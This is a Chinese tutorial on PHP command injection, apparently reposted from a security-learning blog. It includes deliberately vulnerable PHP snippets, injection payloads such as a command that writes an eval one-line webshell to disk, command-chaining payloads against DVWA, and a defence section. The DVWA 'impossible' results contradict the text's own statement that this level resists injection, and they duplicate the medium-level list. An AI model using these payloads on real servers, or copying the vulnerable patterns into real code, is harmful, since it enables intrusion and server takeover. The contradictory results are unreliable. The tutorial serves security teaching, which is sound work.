4-8 命令注入(命令執行)


4-8 命令注入(命令執行)

 

命令注入,又稱命令執行漏洞。(RCE,remote command execute)

 

1. 漏洞原理

 

成因:程序員使用后端腳本語言(如:PHP、ASP)開發應用程序的過程中,雖然腳本語言快速、方便,但也面臨着一些問題,如:無法接觸底層。如開發一些企業級的應用時需要去調用一些外部程序,而當調用這些外部程序(系統shell命令或者exe等可執行文件)時,就會用到一些函數去執行系統命令。

 

原理:web應用在調用這些函數執行系統命令的時候,在沒有做好過濾用戶輸入的情況下,如果用戶將自己的輸入作為系統命令的參數拼接到命令行中,就會造成命令注(命令執行)的漏洞。

 

造成命令注入(命令執行)的條件:

  1. 用戶輸入作為拼接

  2. 沒有足夠的過濾

  3. web應用源碼中有相關的敏感函數

 

 

2. 漏洞危害

 

  1. 繼承web服務器程序權限(web用戶權限),便可去執行系統命令

  2. 繼承web服務器權限,便可讀寫文件等

  3. 反彈shell

  4. 控制整個網站

  5. 控制整個服務器

 

 

3. PHP常見的敏感函數和語句

 

以下是一些能將字符串當作系統命令來執行的PHP函數。

 

3.1 system()

system()函數能夠將字符串作為OS命令執行,並自帶輸出到當前頁面的功能。

最簡單的存在system()命令注入漏洞的網頁源代碼(關鍵部分)
<?php
if($_REQUEST['cmd']){
$str=$_REQUEST['cmd'];
system($str);
}
?>

POC:可以提交參數 ?cmd=ipconfig作為POC進行注入測試。

 

3.2 exec()

exec()函數也能將字符串作為OS命令執行,但需要手動輸出執行結果。

最簡單的存在exec()命令注入漏洞的網頁源代碼(關鍵部分)
<?php
if($_REQUEST['cmd']){
$str=$_REQUEST['cmd'];
print exec($str);
}
?>

POC:可以提交參數 ?cmd=ipconfig >> 1.txt 作為POC進行注入測試。

注意:exec()不但自帶輸出結果到當前頁面的功能,且即便使用print打印,返回的輸出結果也是有限的。故采可用>>來將結果導入到一個文件里,再查看文件即可。

 

3.3 shell_exec()

shell_exec()函數也能將字符串作為OS命令執行,但需要手動輸出執行結果。

最簡單的存在shell_exec()命令注入漏洞的網頁源代碼(關鍵部分)
<?php
if($_REQUEST['cmd']){
$str=$_REQUEST['cmd'];
print shell_exec($str);
}
?>

POC:可以提交參數 ?cmd=ipconfig作為POC進行注入測試。

 

3.4 passthru()

passthru()函數也能將字符串作為OS命令執行,並自帶輸出到當前頁面的功能。

最簡單的存在passthru()命令注入漏洞的網頁源代碼(關鍵部分)
<?php
if($_REQUEST['cmd']){
$str=$_REQUEST['cmd'];
passthru($str);
}
?>

POC:可以提交參數 ?cmd=ipconfig作為POC進行注入測試。

 

3.5 popen()

popen()也能夠執行OS命令,但是該函數不返回命令結果,而是返回一個文件指針。

popen()函數用來打開進程文件指針,打開一個該進程的管道,接下來便可以對該進程進行操作。

popen(command,mode)

  • command:必需。規定要執行的命令。

  • mode:必需。選擇模式。可能的值:

  • r:只讀

  • w:只寫(打開並清空已有文件或創建一個新文件)

最簡單的存在popen()命令注入漏洞的網頁源代碼(關鍵部分)
<?php
if($_REQUEST['cmd']){
$str=$_REQUEST['cmd'];
popen($str,'r');
}
?>

POC:可以提交參數 ?cmd=ipconfig >> 1.txt 作為POC進行注入測試。

注意:popen()返回的是一個文件指針,故采可用>>來將結果導入到一個文件里,再查看文件即可。

 

3.6 反引號

反引號[``]內的字符串也會被解析成OS命令。

最簡單的存在反引號[``]命令注入漏洞的網頁源代碼(關鍵部分)
<?php
if($_REQUEST['cmd']){
$str=$_REQUEST['cmd'];
print `$str`;
}
?>

POC:可以提交參數 ?cmd=ipconfig作為POC進行注入測試。

 

 

4. 漏洞利用

 

命令注入漏洞,攻擊者直接繼承web用戶權限,可以在服務器上執行任意命令,危害特別大。

以下是幾種常見的利用方式,但利用方式不止這些,我們可以進行任何shell可以執行的操作。

  • 直接獲取webshell

    例如可以寫入一句話木馬: ?cmd=echo "<?php @eval($_REQUEST[777]); ?>" > D:\phpstudy\WWW\webshell.php

  • 顯示當前路徑

    例如可以提交參數 ?cmd=cd 來查看當前路徑。

  • 讀文件

    例如:?cmd=type c:\windows\system32\drivers\etc\hosts,來查看系統hosts文件。

  • 寫文件

    例如可以提交參數 ?cmd=echo "<?php phpinfo(); ?>" > D:\software\shell.php

 

以下是在注入點用來執行多條語句的分割參數:

  1. | # 管道符號(豎線)作用是將符號前的進程輸出,並作為符號后進程的輸入。此處也可以用於執行多條命令

    用法: command 1 | command 2 他的功能是把第一個命令command 1執行的結果作為command 2的輸入傳給command 2,並且只打印Command 2執行的結果

  2. || # 可同時執行多條命令,當碰到執行正確的命令時,將不再執行后面的命令。相當於‘或’,出現一個正確就行。

  3. && # 可同時執行多條命令,當碰到執行錯誤的命令時,將不再執行后面的命令。相當於‘與’,出現一個錯誤就不行。

  4. & # 同時執行多條命令,不管命令是否執行成功

如:客戶端頁面是一個用來給客戶指定一個目標主機並發送ping它的頁面,所以此處很可能存在命令注入漏洞。

服務端源碼:
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
   $target = $_REQUEST[ 'ip' ];
   if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
       $cmd = shell_exec( 'ping ' . $target );
  }            //若是windows就直接ping,否則linux一類的得加-c 4來停止ping命令。
   else {
       $cmd = shell_exec( 'ping -c 4 ' . $target );
  }
   echo "<pre>{$cmd}</pre>";
}
?>

我們可以提交參數 ?Submit=Submit&ip=192.168.1.1|net user 來進行POC檢測。

 

 

5. 漏洞防御

 

  1. 盡量減少能命令執行的函數的使用,允許的話可直接在php的配置文件php.ini中禁用

  2. 在使用命令執行的函數之前,首先對用戶輸入參數進行過濾

  3. 參數的值盡量使用引號包裹,並在拼接之前調用addslashes進行轉義

 

以下是一個過濾嚴格,不存在命令注入漏洞的服務器端源代碼(核心):

<?php

if( isset( $_POST[ 'Submit' ] ) ) {
   // Check Anti-CSRF token
   checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

   // Get input
   $target = $_REQUEST[ 'ip' ];
   $target = stripslashes( $target );

   // Split the IP into 4 octects
   $octet = explode( ".", $target );

   // Check IF each octet is an integer
   if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {
       // If all 4 octets are int's put the IP back together.
       $target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];

       // Determine OS and execute the ping command.
       if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
           // Windows
           $cmd = shell_exec( 'ping ' . $target );
      }
       else {
           // *nix
           $cmd = shell_exec( 'ping -c 4 ' . $target );
      }

       // Feedback for the end user
       echo "<pre>{$cmd}</pre>";
  }
   else {
       // Ops. Let the user name theres a mistake
       echo '<pre>ERROR: You have entered an invalid IP.</pre>';
  }
}

// Generate Anti-CSRF token
generateSessionToken();

?>

相關過濾機制介紹:

Impossible級別的代碼加入了Anti-CSRF token,同時對參數ip進行了嚴格的限制,只有諸如“數字.數字.數字.數字”的輸入才會被接收執行,因此不存在命令注入漏洞。以下是相關函數介紹:

  • stripslashes(string)

stripslashes函數會刪除字符串string中的反斜杠,返回已剝離反斜杠的字符串。

  • explode(separator,string,limit)

把字符串打散為數組,返回字符串的數組。參數separator規定在哪里分割字符串,參數string是要分割的字符串,可選參數limit規定所返回的數組元素的數目。

  • is_numeric(string)

檢測string是否為數字或數字字符串,如果是返回TRUE,否則返回FALSE。

  • generateSessionToken()和checkToken()

generateSessionToken()用來生成Token,checkToken()則用來檢查Token是否正確和一致。

 

 

6. 漏洞實例

 

DVWA平台的實驗command injection模塊:

low級別:

  • 127.0.0.1|whoami # 注入命令成功

  • 127.0.0.1&whoami # 注入命令成功

  • 127.0.0.1&&whoami # 注入命令成功

  • 127.0.0.1||whoami # 注入命令成功

medium級別:

  • 127.0.0.1|whoami # 注入命令成功

  • 127.0.0.1&whoami # 注入命令成功

  • 127.0.0.1&&whoami # 注入命令不成功,查看源碼發現&&被過濾。

  • 127.0.0.1||whoami # 注入命令成功

  • 127.0.0.1&;&ipconfig # 注入命令成功

high級別:

  • 127.0.0.1|whoami # 注入命令成功,因為源碼過濾的是'| '(豎線+空格),故我們不在豎線后加空格就可繞開過濾。

  • 127.0.0.1&whoami # 注入命令不成功

  • 127.0.0.1&&whoami # 注入命令不成功

  • 127.0.0.1||whoami # 注入命令不成功

impossible級別:

  • 127.0.0.1|whoami # 注入命令成功

  • 127.0.0.1&whoami # 注入命令成功

  • 127.0.0.1&&whoami # 注入命令不成功,查看源碼發現&&被過濾。

  • 127.0.0.1||whoami # 注入命令成功

  •  


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM